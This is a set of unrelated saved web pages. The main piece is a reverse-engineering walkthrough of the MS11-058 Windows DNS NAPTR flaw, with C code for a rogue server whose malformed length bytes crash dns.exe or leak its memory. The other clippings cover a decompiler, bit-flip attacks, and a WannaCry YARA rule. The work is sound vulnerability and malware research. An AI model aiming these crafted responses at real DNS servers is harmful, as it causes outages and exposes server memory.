patch, figured out how this could be attacked, and why I don’t believe the
vulnerability is as simple as the reports seem to indicate.

Oh, and before I forget, the Nessus Security Scanner from Tenable Network
Security \(my employer\) has both remote and local checks for this
vulnerability, so if you want to check your network go run Nessus now\!

## The patch

The patch for ms11-058 actually covers two vulnerabilities:

  1. An uninitialized-memory denial-of-service vulnerability that affects Windows Server 2003 and Windows Server 2008
  2. A heap overflow in NAPTR records that affects Windows Server 2008 only

We’re only interested in the second vulnerability. I haven’t researched the
first at all.

Thankfully, the Microsoft writeupwent into decent detail on how to exploit
this issue. The vulnerability is actually triggered when a host parses a
_response_ NAPTR packet, which means that a vulnerable host has to make a
request against a malicious server. Fortunately, due to the nature of the DNS
protocol, that isn’t difficult. For more details, check out that Microsoft
article or read up on DNS. But, suffice it to say, we can easily make a server
into processing our records\!

## NAPTR records

Before I get going, let’s stop for a minute and look at NAPTR records.

NAPTR \(or Naming Authority Pointer\) records are designed for some sorta
service discovery. They’re defined in RFC2915, which is fairly short for a
RFC. But I don’t recommend reading it – I did, and it’s pretty boring. In
spite of my reading, I still don’t understand exactly what NAPTR records
really do. They seem to be used frequently for SIP and related protocols,
though.

What matters is, the format of a NAPTR resource record is:

  * \(domain-name\) question
  * \(int16\) record type
  * \(int16\) record class
  * \(int32\) time to live
  * \(int16\) length of NAPTR record \(the rest of this structure\)
  * \(int16\) order
  * \(int16\) preference
  * \(character-string\) flags
  * \(character-string\) service
  * \(character-string\) regex
  * \(domain-name\) replacement

\(A resource record, for those of you who aren’t familiar with DNS, is part of
a DNS packet. A dns “answer” packet contains one or more resource records, and
each resource record has a type – A, AAAA, CNAME, MX, NAPTR, etc. Read up on
DNS for more information.\)

The first four fields in the NAPTR record are common to all resource records
in DNS. Starting at the length, the rest are specific to NAPTR and the last
four are the interesting ones. The \(character-string\) and \(domain-name\)
types are defined in RFC1035, which I don’t recommend reading either. The
important part is:

  * A \(character string\) is a one-byte length followed by up to 255 characters – essentially, a length-prefixed string
  * A \(domain name\) is a series of character strings, terminated by an empty character string \(simply a length of \x00 and no data – effectively a null terminator\)

Remember those definitions – they’re going to be important.

## You will need…

All right, if you plan to follow along, you’re going to definitely need the
vulnerable version of dns.exe. Grab c:\windows\system32\dns.exe off an
unpatched Windows Server 2008 x86 \(32-bit\) host. If you want to take a look
at the patched version, grab the executable from a patched host. I usually
name them something obvious:  
<img src='img/Temp2_7552.png' />

Right-click on the files and select ‘properties’ and pick the ‘details’ tab to
ensure you’re working from the same version as me:  
<img src='img/Temp2_7549.png' />

You will also need IDA, Patchdiff2, and Windbg. And a Windows Server 2008
32-bit box with DNS installed and recursion enabled. If you want to get all
that going, you’re on your own. :\)

You’ll also need a NAPTR server. You can use my nbtool program for that – see
below for instructions.

## Disassemble

Load up both files in their own instances of IDA, hit ‘Ok’ or ‘Next’ until it
disassembles them, and press ‘space’ when the graph view comes up to go back
to the list view. Then close and save the patched one. In the vulnerable
version, run patchdiff2:  
<img src='img/Temp2_7532.png' />

And pick the .idb file belonging to the patched version of dns.exe. After
processing, you should get output something like this:  
<img src='img/Temp2_7537.png' />

There are two things to note here. First, at the bottom, in the status pane,
you get a listing of the functions that are “identical”, matched, and
unmatched. Identical functions are ones that patchdiff2 has decided are
unchanged \(even when that’s not true, as we’ll see shortly\); matched
functions are ones that patchdiff2 thinks are the same function in both files,
but have changed in a significant way; and unmatched functions are ones that
patchdiff2 can’t find a match for.

You’ll see that in ms11-058, it found 1611 identical functions and that’s it.
Oops?

If you take a look at the top half of the image, it’s a listing of the
identical functions. I sorted it by the CRC column, which prints a ‘+’ when
the CRC of the patched and unpatched versions of a function differ. And look
at that – there are four not-so-identical functions\!

The obvious function in this bunch to take a closer look at is
NaptrWireRead\(\). Why? Because we know the vulnerability is in NAPTR records,
so it’s a sensible choice\!

At this point, I closed IDA and re-opened the .exe files rather than leaving
patchdiff2 running.

So, go ahead now and bring up NaptrWireRead\(\) in both the unpatched and
patched versions. You can use shift-F4 to bring up the ‘Names’ window and find
it there. It should look like this:  
<img src='img/Temp2_7528.png' />

Scroll around and see you can see where these functions vary. It’s not as easy
as you’d think\! There’s only one line different, and I actually missed it the
first time:  
<img src='img/Temp2_7535.png' />

Line 0x01038b38 and 0x01038bd8 are different\! One uses movsx and one uses
movzx. Hmm\! What’s that mean?

movsx means “move this byte value into this dword value, and extend the sign”.
movzx means “move this byte value into this dword value, and ignore the sign”.
Basically, a signed vs unsigned value. For the bytes 0×00 to 0x7F, this
doesn’t matter. For 0×80 to 0xFF, it matters a lot. That can be demonstrated
by the following operation:

[code]

    movsx edi, 0x7F
    movsx esi, 0x80
    
    movzx edi, 0x7F
    movzx esi, 0x80
      
[/code]

In the first part, you’ll end up with edi = 0x0000007F, as expected, but esi
will be 0xFFFFFF80. In the second part, esi will be 0x0000007F and edi will be
0×00000080. Why? For more information, look up “two’s complement” on
Wikipedia. But the simple answer is, 0×80 is the signed value of -128 and the
unsigned value of 128. 0xFFFFFF80 is also -128 \(signed\), and 0×00000080 is
128 \(unsigned\). So if 0×80 is signed, it takes the 32-bit signed value
\(-128 = 0xFFFFFF80\); if 0×80 is unsigned, it takes the 32-bit unsigned value
\(128 = 0×00000080\). Hopefully that makes a little sense\!

## Setting up and testing NAPTR

Moving on, we want to do some testing. I set up a fake NAPTR server and I set
up the Windows Server to recurse to my fake NAPTR server. If you want to do
that yourself, one way is grab the sourcecode for nbtooland apply this patch.
You’ll have to fiddle in the sourcecode, though, and it may be a little
tricky.

You can also use any DNS server that allows a NAPTR record. We aren’t actually
sending anything broken, so any DNS server you know how to set up should work
just fine.

Basically, I use the following code to build the NAPTR resource record:

[code]

      char
    *flags   = 
    "flags";
    char
    *service  = 
    
    "service";
    char
    *regex   = 
    "this is a
    really really long but still technically valid regex";
    char
    *replace = 
    
    "this.is.the.replacement.com";
    
    answer = buffer_create(BO_BIG_ENDIAN);
    buffer_add_dns_name(answer, this_question.name); 
    /*
       Question.
    
      */
    
    buffer_add_int16(answer, DNS_TYPE_NAPTR); 
    /*
       Type. 
      */
    buffer_add_int16(answer, this_question.class); 
    /*
       Class. 
      */
    buffer_add_int32(answer, settings->TTL);
    buffer_add_int16(answer, 
    2 +     
                 
    /*
       Length.
    
      */
      2 +
                             
    1 +
    strlen(flags) +
                             
    1 +
    strlen(service) +
                             
    1 +
    strlen(regex) +
                             
    2 +
    strlen(replace));
    
    buffer_add_int16(answer, 
    0x0064);
    
    /*
       Order. 
      */
    buffer_add_int16(answer, 
    0x000b);
    
    /*
       Preference.
    
      */
    
    buffer_add_int8(answer, strlen(flags)); 
    /*
       Flags. 
      */
    buffer_add_string(answer, flags);
    
    buffer_add_int8(answer, strlen(service)); 
    /*
       Service.
    
      */
    buffer_add_string(answer, service);
    
    buffer_add_int8(answer, strlen(regex)); 
    /*
       Regex. 
      */
    buffer_add_string(answer, regex);
    
    buffer_add_dns_name(answer, replace);
    answer_string = buffer_create_string_and_destroy(answer,
    &answer_length);
    
    dns_add_answer_RAW(response, answer_string, answer_length);
      
[/code]

It’s not pretty, but it did the trick. After that, I compile it and run it. At
this point, it’ll simply start a server that waits for NAPTR requests and
respond with a static packet no matter what the request was.

## Debugger

Now, we fire up Windbg. If you ever use Windbg for debugging, make sure you
check out Windbg.info– it’s an amazing resource.

When Windbg loads, we hit F6 \(or go to file->attach to process\). We find
dns.exe in the list and select it:  
<img src='img/Temp2_7548.png' />

Once that’s fired up, I run \!peb to get the base address of the process
\(there are, of course, other ways to do this\). The command should look like
this:  
<img src='img/Temp2_7538.png' />

Back in IDA, rebase the program by using edit->segments->rebase program, and
set the image base address to 0x00ea0000:  
<img src='img/Temp2_7542.png' />  
<img src='img/Temp2_7543.png' />

This way, the addresses in Windbg and IDA will match up properly. Now, go back
to that movsx we were looking at earlier – it should now be at 0x00ed8b38 in
the vulnerable version. Throw a breakpoint on that address in Windbg with ‘bp’
and start the process with ‘g’ \(or press F5\):

[code]

      > bp ed8b38
      > g
      
[/code]

Then perform a lookup on the target server \(in my case I’m doing this from a
Linux host using the dig command, and my vulnerable DNS server is at
192.168.1.104\):

[code]

      $ dig @192.168.1.104 -t NAPTR +time=60 test.com
      
[/code]

\(the +time=60 ensures that it doesn’t time out right away\)

In Windbg, the breakpoint should fire:  
<img src='img/Temp2_7547.png' />

Now, recall that the vulnerable command is this:

[code]

      movsx edi, byte ptr [ebx]
      
[/code]

So we’d naturally like to find out what’s in ebx. We do this with the windbg
command ‘db ebx’ \(meaning display bytes at ebx\):  
<img src='img/Temp2_7545.png' />

Beautiful\! ebx points to the length byte for ‘flags’. In our case, we set the
flags to the string ‘flags’, which is represented as the character string
“\x05flags” \(where “\x05″ is the byte ’5′, the string’s size\). If we hit ‘g’
or press ‘F5′ again, it’ll break a second time. This time, if you run ‘db ebx’
you’ll see it sitting on “\x07service”. If you hit F5 again, not surprisingly,
you’ll end up on “\x3ethis is a really really long …”. And finally, if you hit
F5 one more time, the program will keep running and, if you did this in under
60 seconds, dig will get its response.

So what have we learned? The vulnerable call to movsx happens three times – on
the one-byte size values of flags, service, and regex.

## Let’s break something\!

All right, now that we know what’s going on, this should be pretty easy to
break\! Yay\! Let’s try sending it a string that’s over 0×80 bytes long:

[code]

      char
    *flags   = 
    
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA"
      
    "AAAAAAAAAAAAAAAA";
            
    char
    *service  = 
    
    "service";
            
    char
    *regex   = 
    "regex";
            
    char
    *replace = 
    
    "my.test.com";
      
[/code]

Then compile it, start the service again, and send our NAPTR lookup with dig,
exactly as before. Don’t forget to clear your breakpoints in Windbg, too,
using ‘bc \*’ \(breakpoint clear, all\).

After the lookup, the dns.exe service should crash:  
<img src='img/Temp2_7529.png' />

Woohoo\! It crashed in a ‘rep movs’ call, which is in memcpy\(\). No surprise
there, since we were expecting to pass a huge integer \(0×90 became
0xFFFFFF90, which is around 4.2 billion\) to a memcpy function.

If we check out edi \(the destination of the copy\), we’ll find it’s
unallocated memory, which is what caused the crash. If we check out ecx, the
size of the copy, we’ll see that it’s 0x3fffff6e – way too big:  
<img src='img/Temp2_7536.png' />

Restart the DNS service, re-attach the debugger, and let’s move on to
something interesting…

## The good part

Now we can crash the process. Kinda cool, but whatever. This is as far as
others investigating this issue seemed to go. But, they missed something very
important:  
<img src='img/Temp2_7546.png' />

See there? Line 0x00ed8b3b? lea eax, \[edi + 1\]. edi is the size, and eax is
the value passed to memcpy. See what’s happening? It’s adding 1 to the size\!
That means that if we pass a size of 0xFF \(“-1″ represented as one byte\),
it’ll get extended to 0xFFFFFFFF \(“-1″ represented as 4 bytes\), and then, on
that line, eax becomes -1 + 1, or 0. Then the memcpy copies 0 bytes.

That’s great, but what’s that mean?

Let’s reconfigure out NAPTR server again to return exactly 0xFF bytes:

[code]

      char
    *flags   = 
    
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
      
    "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ";
            
    char
    *service  = 
    
    "service";
            
    char
    *regex   = 
    "regex";
            
    char
    *replace = 
    
    "my.test.com";
      
[/code]

Then run it as before. This time, when we do our dig, the server doesn’t
crash\! Instead, we get a weird response:  
<img src='img/Temp2_7531.png' />

We get an answer back, but not a valid NAPTR answer\! The answer has the flags
of “\x03\x02my\x04test\x03com”, but no service, regex, or replace. Weird\!

Now, at this point, we have enough for a vulnerability check, but I wanted to
go further, and to find out how exactly this was returning such a weird result
\(and, more importantly, whether we can assume that it’ll be consistent\)\!

So, let’s take a look at the vulnerable code again. Go back to
NaptrPtrRead\(\) and find the vulnerable movsx:  
<img src='img/Temp2_7541.png' />

You can quickly see that this is a simple loop. var\_10C is a counter set to
3, the size at \[ebx\] \(the length of the flags\) is read, that many bytes is
copied from ebx \(the incoming packet\) to esi \(the place where the answer is
stored\). Then the counter is decremented, and both the source and destination
are moved forward by that many bytes plus one \(for the length\), and it
repeats twice – once for service, and once for regex.

If we set the length of flags to 0xFF, then 0 bytes are copied and the source
and destination don’t change. So esi, the answer, remains an empty buffer.

Just below that, you’ll see this:  
<img src='img/Temp2_7533.png' />

The source and destination are the same as before, and they call a function
called \_Name\_CopyCountName\(\). That’s actually a fairly complicated
function, and I didn’t reverse it much. I just observed how it worked. One
thing that was obvious is that it read the fourth and final string in the
NAPTR record – the one called “replacement”, which is a domain name rather
than a length-prefixed string like the rest.

Essentially, it’d set esi to a string that looked like this:  
<img src='img/Temp2_7540.png' />

the 0x0d at the start is obviously the length of the string; the 0×03
following is the number of fields coming \(“my”, “test”, and “com” = 3
fields\), and the rest of the string is the domain name formatted as it
usually is – the size of each field followed by the field.

Another interesting note is, this is the exact value that the DNS request got
earlier \(minus the 0x0d at the start\) – “\x03\x02my\x04test\x03com”\!

At this point, I understood exactly what was happening. As we’ve seen, there
are supposed to be four strings – flags, service, regex, and replacement. The
first three are \(character-string\) values, and are all read the same way.
The last one is a \(domain-name\) value, and is read using
\_Name\_CopyCountName\(\).

When we send a length of 0xFF, the first three strings don’t get read – the
buffer stays blank – and only the domain name is processed properly. Then,
later, when the strings are sent back to the server, it expects the ‘flags’
value to be the first value in the buffer, but, because it read 0 bytes for
flags, it skips flags and reads the ‘replacement’ value – the \(domain-name\)
– as if it were flags. That gets returned and it reads the ‘service’, the
‘regex’, and the ‘replacement’ fields – all of which are blank.

The response is sent to the server with the ‘flags’ value set to the
‘replacement’ and everything else set to blank. Done?

## The plot thickens

I thought I understood this vulnerability completely now. It was interesting,
fairly trivial to check for, and impossible to exploit \(beyond a denial of
service\). The perfect vulnerability\! I wrote the Nessus check and tested it
again Windows 2008 x86, Windows 2008 x64, and Windows 2008 R2 x64. Against
Windows 2008 x64, the result was different – it was
“\x03\x02my\x04test\x03com\x00\x00\x00\x00″. That was weird. I tried changing
the domain name from “my.test.com” to “my.test.com.a”. It returned the string
I expected. Then I set it to “my.test.com.a.b.c”, and it returned a big block
of memory including disk information \(the drive c: label\). Wtf? I tried a
few more domain names, and none of them, including “my.test.com.a.b.c”,
returned anything unusual. I couldn’t replicate it\! Now I \*knew\* that
something was up\!

To demonstrate this reliably, I can set the ‘replacement’ value of the
response to ‘my.test.com.aaaaaaaaaaaaa’ and get the proper response:  
<img src='img/Temp2_7534.png' />

And then set it to ‘my.test.com.aaaaaaa’ and get a weird response:  
<img src='img/Temp2_7551.png' />

Rather than just the simple string we usually get back, we got the simple
string, the 7 ‘a’ bytes that we added, then a null, then 11 more ‘a’ values
and 0×59 “\x00″ bytes. So, that’s proof that something strange is happening,
but what?

## The investigation

If you head back to the NaprWireRead function and go to line 0xed8b61, you’ll
see the call to \_Name\_CopyCountName\(\):  
<img src='img/Temp2_7530.png' />

That’s where the string is copied into the buffer – esi. What we want to do is
track down where that value is read back out of the buffer, because there’s
obviously something gone amiss there. So, we put a breakpoint at 0xed8b66 –
the line after the name is copied to memory – using the ‘bp’ command in
Windbg:  
<img src='img/Temp2_7527.png' />

Then we run it, and make a NAPTR request. It doesn’t matter what the request
is, this time – we just want to find out where the message is read. When it
breaks, as shown above, we check what the value at esi is. As expected, it’s
the encoded ‘replacement’ string – the length, the number of fields, and the
replacement \(domain-name\) value.

We run ‘ba r4 esi’ – this sets a breakpoint on access when esi \(or the three
bytes after esi\) are read. Then we use ‘g’ or ‘F5′ to start the process once
again.

Immediately, it’ll break again – this time, at 0xed5935 – in
NaptrWireWrite\(\)\! Since the packet is read in NaptrWireRead\(\), it makes
sense that it’s sent back out in NaptrWireWrite. Awesome\!

The code powering NaptrWireWrite\(\) is actually really simple. This is all
the relevant code \(don’t worry too much about the colours – I just like
colouring code as I figure things out :\) \):  
<img src='img/Temp2_7544.png' />

Here, it reads the length of the first field from \[esi\] – which, in our
‘attack’, is the length of the ‘replacement’ value, not the flags value like
it ought to be. It uses memcpy to copy that into a buffer, using the user-
controlled length. then it loops. The second time, it’s going to read the null
byte \(\x00\) that’s immediately after the ‘replacement’ value. The third
time, it’s going to read the byte following that null byte. What’s there?
We’ll get to that in a second.

Then, after it loops three times, it calls
\_Name\_WriteCountNameToPacketEx\(\), passing it the remainder of the buffer.
Again, what’s that value?

Let’s stick a breakpoint on 0xed5935 – the memcpy – and see what the three
values are. First, for ‘my.test.com.aaaaaaa’:  
<img src='img/Temp2_7539.png' />

As we can see, the first field is, as expected, the ‘replacement’ value –
my.test.com.aaaaaaaaaaa. The second value is blank, and the third value is
blank. The result is going to be the usual “\x03\x02my\x04test\x03com”. No
problem\! Now let’s do a lookup for “my.test.com.a”:  
<img src='img/Temp2_7550.png' />

The first one is, as usual, the ‘replacement’ value. The second memcpy starts
with the 0×00 byte at the end, and copies 0 bytes. But the third one starts on
0×61 – that’s one of the ‘a’ values from the previous packet\! – and copies
0×61 bytes into the buffer. Then \_Name\_WriteCountNameToPacketEx\(\) is
called 0×61 bytes after on whatever happens to be there.

## What’s it all mean?

What’s this mean? And why should we care?

Well, it turns out that this vulnerability, in spite of its original innocuous
appearance, is actually very interesting. We can pass 100% user-controlled
values into memcpy – unfortunately, it’s a one-byte size value. Additionally,
we can pass 100% user-controlled values into a complicated function that does
a bunch of pointer arithmatic – \_Name\_WriteCountNameToPacketEx\(\)\! I
reversed that full function, but I couldn’t see any obvious points where I
could gain control.

Given enough time and thought, though, I’m reasonably confident that you can
turn this into a standard heap overflow. A heap overflow on Windows 2008 would
be difficult to exploit, though. But there are some other quirks that may help
– \_Name\_WriteCountNameToPacketEx\(\) does some interesting operations, like
collapsing matching domain names into pointers – ‘c0 0c’ will look familiar if
you’ve ever worked with DNS before.

So, is this exploitable? I’m not sure. Is it definitely NOT exploitable? I
wouldn’t say so. When you can start passing user-controlled values into
functions that expect tightly-controlled pointer values, that’s when the fun
starts. :\)

## Conclusion

I hope you were able to follow along, and I hope that the real exploit devs
out there read this and can take it a step further. I’d be very interested in
whether this vulnerability can be taken to the next level\!

# Snowman

**Created:**| _9/4/2017 9:51:00 AM_  
---|---  
**Updated:**| _9/4/2017 9:51:00 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Snowman

## About

**Snowman** is a native code to C/C++ decompiler, see the examples of
generated code.

### Standalone Version

  * Supports ARM, x86, and x86-64 architectures. 
  * Reads ELF, Mach-O, and PE file formats. 
  * Reconstructs functions, their names and arguments, local and global variables, expressions, integer, pointer and structural types, all types of control-flow structures, including switch. 
  * Has a nice graphical user interface with one-click navigation between the assembler code and the reconstructed program. 
  * Has a command-line interface for batch processing. 

### IDA Plug-in

  * Enjoys all executable file formats supported by the disassembler. 
  * Benefits from IDA’s signature search, parsers of debug information, and demanglers. 
  * Decompiles a chosen function or the whole program by push of a button. 
  * Allows easy jumping between the disassembler and the decompiled code. 
  * Fully integrates into IDA’s GUI. 

## Download

  * v0.1.0 \(24 September 2016\) 
    * Standalone: Windows x86-64, Windows x86. 
    * IDA plug-in: Windows x86, Qt 5.6 for IDA 6.95, Windows x86, Qt 4.8 for IDA 6.3-6.8, Windows x86, Qt 4.7 for IDA 6.1, Linux x86, Qt 5.6 for IDA 6.95, Linux x86, Qt 4.8 for IDA 6.3-6.8. 
    * Sources. 
    * List of changes. 
  * v0.0.9 \(23 January 2016\) 
    * Standalone: Windows x86-64, Windows x86. 
    * IDA plug-in: Windows x86, Qt 4.8 for IDA 6.3-6.8, Windows x86, Qt 4.7 for IDA 6.1, Linux x86, Qt 4.8 for IDA 6.3-6.8. 
    * Sources. 
    * List of changes. 
  * Older versions. 
  * PGP public key, to verify the signatures of the git tags. 

### Installation Instructions

  * Standalone version you can just unpack and run. 
  * IDA plug-in is installed by copying `.plw`, `.p64`, `.plx` files to IDA’s `plugins` directory. 

### Usage Instructions

  1. Do not try to decompile large programs at once. Select a necessary part in the assembly listing and push `Ctrl-E` instead. Or better use the Snowman IDA plug-in. 
  2. When using the IDA plug-in, press `F3` to decompile the function under cursor. 

## Contacts

  1. To report a bug or request a feature, please create an issue. 
  2. To submit a patch open a pull request. 
  3. To ask questions, use the mailing list. 
  4. To ask questions that should not go in public, write me an e-mail. 

Last updated 2017-06-06 23:14:40 CEST

  

# gynvael.coldwind//vx.log

**Created:**| _6/21/2011 8:03:44 AM_  
---|---  
**Updated:**| _6/21/2011 8:03:55 AM_  
**Author:**| __  
**Tags:**| _hardware security Lab-Setup awesome_  
  

2011-06-19:

## Random bit flips in hardware and security

data dump

Some time ago I had a crazy/funny idea for a local privilege escalation: run a
privilege granting operation in an infinite loop and wait for a random bit
flip in CPU/RAM that would make a 'can this user do this' check return 'true'
instead of 'false'. Is this theoretically possible? Yes. And practically?
Almost impossible, due to the unlikeliness of a bit flip and even more, the
unlikeliness of a bit flip in the just right place. Nevertheless, I thought
this idea was quite interesting and decided to dig into the topic. This post
will summarize what I've found out and mention a few papers/posts might be
worth reading.  
  
As a start note: most of the data I found is kinda outdated \(year 2003,
etc\), so links to newer data are most welcomed\!  
  

## Is a random bit flip possible?

  
Yes. Actually more possible then I've expected and that's why ECC RAM \(ECC
being Error-Correction Code\) dices are so widely used in servers.  
  
I found two cool papers with some statistics:  
  
\- "DRAM Errors in the Wild: A Large-Scale Field Study", Bianca Schroeder
\(University of Toronto\), Eduardo Pinheiro \(Google Inc.\), Wolf-Dietrich
Weber \(Google Inc.\), SIGMETRICS, 2009.  
\- Soft Errors in Electronic Memory – A White Paper, Tezzaron Semiconductor,
2003/2004.  
  
It's worth looking at both of these for detailed information, but in short: a
number 3751 appears in the first paper as the avg. number of Ccorrectable
Errors \(in ECC, in non-ECC RAM these are not corrected\) in a DIMM dice per
nearly 2.5y of constant work - that gives 4.11 CE per day \(i.e. ~4 random bit
flips that were corrected due to ECC being used\). The full table is presented
below:  
  
<img src='img/Temp2_10281.png' />  
CE is Correctable Errors, UE is Uncorrectable Errors  
  
The second paper contains a table presenting collected failure rates for
different types of memory:  
  
<img src='img/Temp2_10283.png' />  
FIT is Failure in Time: Errors per 10e9 hours of use  
  
So yeah, random bit flips \(actually called Soft Errors\) do happen.  
  
Also, some time ago I've seen a cool case study about tracing an error in
software to a random bit filp: Attack of the Cosmic Rays\! by Nelson Elhage.  
  
Linux users might want take a look the **dmidecode** command's output, the
Memory-related sections. If you have ECC RAM it will show you the number of
detected and corrected errors. Otherwise you might just see a Error Correction
Type: None entry \(thanks goes to Tavis for showing me this\).  
  

## What influences the odds of a Soft Error happening?

  
Actually quite a few things \(in random order; source: above papers and wiki
pages\):  
\- Temperature  
\- Alpha particles  
\- Cosmic rays  
\- Lower voltage  
\- Higher speeds  
\- Construction of the dice  
\- and other... \(see the papers for details\)  
  

## A random bit flip being a security problem? Surely you're joking.

  
Actually I'm not.  
  
Let's start with the Gameboy Color Boot ROM post, where the author described
how he bypassed the anti-ROM-dump mechanism by introducing random bit flips in
the CPU. It's a fascinating read\!  
  
The second paper I would like to point out here is:  
\- Using Memory Errors to Attack a Virtual Machine, Sudhakar Govindavajhala
and Andrew W. Appel, Princeton University, 2003.  
The paper is about Java and .NET VMs and describes how to create such a memory
layout that most of the random bit flips would cause a Write-What-Where
condition to appear, which is exploitable in a straight forward and allows to
get to get code execution.  
They also describe how they tested the idea: using an 50W spotlight that
heated up the lamp \(in short: it worked and took about 1 minute of heating,
though some nasty system crashes also appeared\):  
  
<img src='img/Temp2_10282.png' />  
  
Huh, using spotlight for hacking, now that's cool\!  
  
So, an interesting Sci-Fi idea \(well, maybe not so "-Fi" after all\) would be
a "hacking gun" that pointed to a CPU/RAM would flip just the right bit ;\)  
  

## Did you try to flip a bit?

  
Actually I'm still trying. I've modified OSAmber \(a pet bootloader+minimal
kernel of mine\) to scan memory for any bit flips, but no luck so far \(even
though I've heated the RAM by quite a lot a few times\).  
I'll update this post if I get anywhere with this experiment. But for now, a
screen shot will have to do:  
  
<img src='img/Temp2_10284.png' />  
  
And that's it for now. Guess the next RAM I'll buy will be ECC. Cheers ;\)  
  
**UPDATE:**  
P.S. Looks like this post was put on reddit \(under ReverseEngineering\) - the
comments on reddit are often worth checking out :\)

# stubbornella/csslint - GitHub

**Created:**| _6/21/2011 8:09:47 AM_  
---|---  
**Updated:**| _6/21/2011 8:09:59 AM_  
**Author:**| __  
**Tags:**| _web programming css_  
  

Automated linting of Cascading Stylesheets — Read more

Save Cancel

http://csslint.net

# Wannacry and Lazarus Group - the missing link? - Securelist

**Created:**| _5/15/2017 9:23:44 PM_  
---|---  
**Updated:**| _5/15/2017 9:30:45 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis attribution_  
  

  

Lazarus Ransomware WannaCry

<img src='img/1422369199-bporiginal-90x90.jpg' width='90' height='90' />

  * GReAT
  * Kaspersky Lab's Global Research & Analysis Team
  * @e\_kaspersky/great

A few hours ago, Neel Mehta, a researcher at Google posted a mysterious
message on Twitter with the \#WannaCryptAttribution hashtag:

<img src='img/Wannacry_Lazarus_01-1024x426.png' width='604' height='251' />

The cryptic message in fact refers to a similarity between two samples that
have shared code. The two samples Neel refers to in the post are:

  * A WannaCry cryptor sample from February 2017 which looks like a very early variant
  * A Lazarus APT group sample from February 2015

The similarity can be observed in the screenshot below, taken between the two
samples, with the shared code highlighted:

<img src='img/Wannacry_Lazarus_02-1024x549.png' width='604' height='324' />

So, what does it all mean? Here’s a few questions and answers to think about.

## I know about Wannacry, but what is Lazarus?

We wrote about the Lazarus group extensively and presented together with our
colleagues from BAE and SWIFT at the Kaspersky Security Analyst Summit \(SAS
2017\). See:

  * Lazarus Under The Hood
  * Operation Blockbuster revealed

Among other things, the Lazarus group was responsible for the Sony Wiper
attack, the Bangladesh bank heist and the DarkSeoul operation.

##

###

Chasing Lazarus: A Hunt for the Infamous Hackers to Prevent Large Bank
Robberies

We believe Lazarus is not just “yet another APT actor”. The scale of the
Lazarus operations is shocking. The group has been very active since 2011 and
was originally disclosed when Novetta published the results of its Operation
Blockbuster research. During that research, which we also participated in,
hundreds of samples were collected and show that Lazarus is operating a
malware factory that produces new samples via multiple independent conveyors.

## Is it possible this is a false flag?

In theory anything is possible, considering the 2015 backdoor code might have
been copied by the Wannacry sample from February 2017. However, this code
appears to have been removed from later versions. The February 2017 sample
appears to be a very early variant of the Wannacry encryptor. We believe a
theory a false flag although possible, is improbable.

## What conclusions can we make?

For now, more research is required into older versions of Wannacry. We believe
this might hold the key to solve some of the mysteries around this attack. One
thing is for sure — **Neel Mehta’s discovery is the most significant clue to
date regarding the origins of Wannacry**.

## Are we sure the early February variant is the precursor to the later
attacks?

Yes, it shares the same the list file extension targets for encryption but, in
the May 2017 versions, more extensions were added:

> .accdb  
> .asm  
> .backup  
> .bat  
> .bz2  
> .cmd  
> .der  
> .djvu  
> .dwg  
> .iso  
> .onetoc2  
> .pfx  
> .ps1  
> .sldm  
> .sldx  
> .snt  
> .sti  
> .svg  
> .sxi  
> .vbs  
> .vcd
They also removed an older extension: “.tar.bz2” and replaced it with just
“.bz2”  
**We strongly believe the February 2017 sample was compiled by the same
people, or by people with access to the same sourcecode** as the May 2017
Wannacry encryptor used in the May 11th wave of attacks.

## So. Now what?

We believe **it’s important that other researchers around the world
investigate these similarities** and attempt to discover more facts about the
origin of Wannacry. Looking back to the Bangladesh attack, in the early days,
there were very few facts linking them to the Lazarus group. In time, more
evidence appeared and allowed us, and others, to link them together with high
confidence. Further research can be crucial to connecting the dots.

## Has anyone else confirmed this?

Yes, Matt Suiche from Comae Technologies confirmed the same similarity based
on Neel’s samples:

<img src='img/Wannacry_Lazarus_03-1024x711.png' width='604' height='419' />

## Can you share the YARA rule used to find this?

Yes, of course.

You can download the “lazaruswannacry” Yara rule here.

Also included below for easy reading:

`rule lazaruswannacry {`

meta:

description = “Rule based on shared code between Feb 2017 Wannacry sample and
Lazarus backdoor from Feb 2015 discovered by Neel Mehta”  
date = “2017-05-15”  
reference = “https://twitter.com/neelmehta/status/864164081116225536”  
author = “Costin G. Raiu, Kaspersky Lab”  
version = “1.0”  
hash = “9c7c7149387a1c79679a87dd1ba755bc”  
hash = “ac21c8ad899727137c4b94458d7aa8d8”

strings:

$a1=\{  
51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75  
04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01  
46 56 E8  
\}

$a2=\{  
03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00  
10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00  
30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00  
38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00  
44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00  
68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00  
FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0  
08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0  
10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0  
2B C0 2C C0 FF FE  
\}

condition:

\(\(uint16\(0\) == 0x5A4D\)\) and \(filesize < 15000000\) and

all of them

\}

  

  

# SymDiff - Microsoft Research

**Created:**| _12/7/2012 1:21:02 PM_  
---|---  
